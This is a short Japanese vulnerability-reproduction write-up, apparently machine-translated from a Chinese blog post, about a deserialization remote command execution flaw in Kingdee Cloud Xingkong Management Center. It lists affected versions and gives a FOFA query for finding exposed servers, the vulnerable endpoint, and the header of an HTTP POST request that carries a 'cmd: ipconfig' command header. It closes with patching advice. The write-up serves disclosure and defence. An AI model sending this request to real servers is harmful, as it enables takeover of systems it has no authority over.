【脆弱性再発】Kingdee Cloud Xingkong Management Center のデシリアライゼーションコマンド実行の脆弱性(RCE)


序文

Kingdee Cloud Star Management Center には逆シリアル化コマンドが実行されており、攻撃者はこの脆弱性を利用して機密情報を取得し、サーバーを乗っ取ることができます。


声明

この記事に記載されている関連技術を違法なテストに使用しないでください。この記事で提供される情報やツールの普及と使用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身が負担するものとします。記事の著者は無関係です。この記事は教育のみを目的としています。


1. システム紹介

Kingdee Cloud Star Management Center は、クラウド コンピューティング、ビッグ データ、ソーシャル ネットワーキング、人工知能、インターネットなどの最先端のテクノロジーに基づいて Kingdee Software (China) Co., Ltd. によって開発された、新世代の戦略的エンタープライズ管理ソフトウェアです。もの。
ここに画像の説明を挿入

2. 脆弱性の説明

Kingdee Yunxingkong は、財務管理、サプライ チェーン管理、ビジネス プロセス管理のための統合ソリューションを企業に提供するクラウドベースのエンタープライズ リソース管理 (ERP) ソフトウェアです。Kingdee Cloud Xingkong は、複数の組織と複数のプロフィットセンターを抱える大企業および中堅企業に焦点を当て、「オープン性、標準化、ソーシャルインタラクション」の 3 つの特徴を備えたデジタルエコノミー時代の企業向けにオープンな ERP クラウド プラットフォームを提供します。サービス内容は、金融、サプライ チェーン、インテリジェント マニュファクチャリング、アメーバ管理、オムニチャネル マーケティング、電子商取引、人事、エンタープライズ インターネット サービスをカバーし、企業のデジタル マーケティングや経営再構築などの新しいエコロジーの実現を支援し、企業のデジタル能力。このソフトウェアにはリモート コマンド実行の脆弱性があり、外部の攻撃者が悪意のある攻撃方法を使用してターゲット システムにアクセスし、サーバーの制御を乗っ取る可能性があります。

3、衝撃バージョン

6.x版本:低于6.2.1012.4
7.x版本:7.0.352.16 至 7.7.0.202111
8.x版本:8.0.0.202205 至 8.1.0.20221110

4. 脆弱性の再発

FOFA: app="キングディークラウド星空管理センター"

脆弱性リンク:

http://127.0.0.1/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

脆弱性データパッケージは次のとおりです。

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Connection: Keep-Alive
Content-Type: text/json
cmd: ipconfig
Content-Length: 15944

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            "format": "3"
        }

ここに画像の説明を挿入

5. 是正に関する意見

  • 7.x バージョンでは、最初に完全なパッチ (コードを修正) をインストールし、次に一時パッチ (セキュリティ構成の追加) をインストールする必要があります。
  • 8.x バージョン管理センター (デフォルトではポート 8000) はデフォルトでは公開されておらず、修復コードが含まれています。ただし、一時パッチの直接インストールは失敗する可能性があるため、最初に完全なパッチ (修正コード) をインストールしてから、一時パッチ (セキュリティ構成の追加) をインストールすることをお勧めします。

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転載: blog.csdn.net/weixin_46944519/article/details/131879205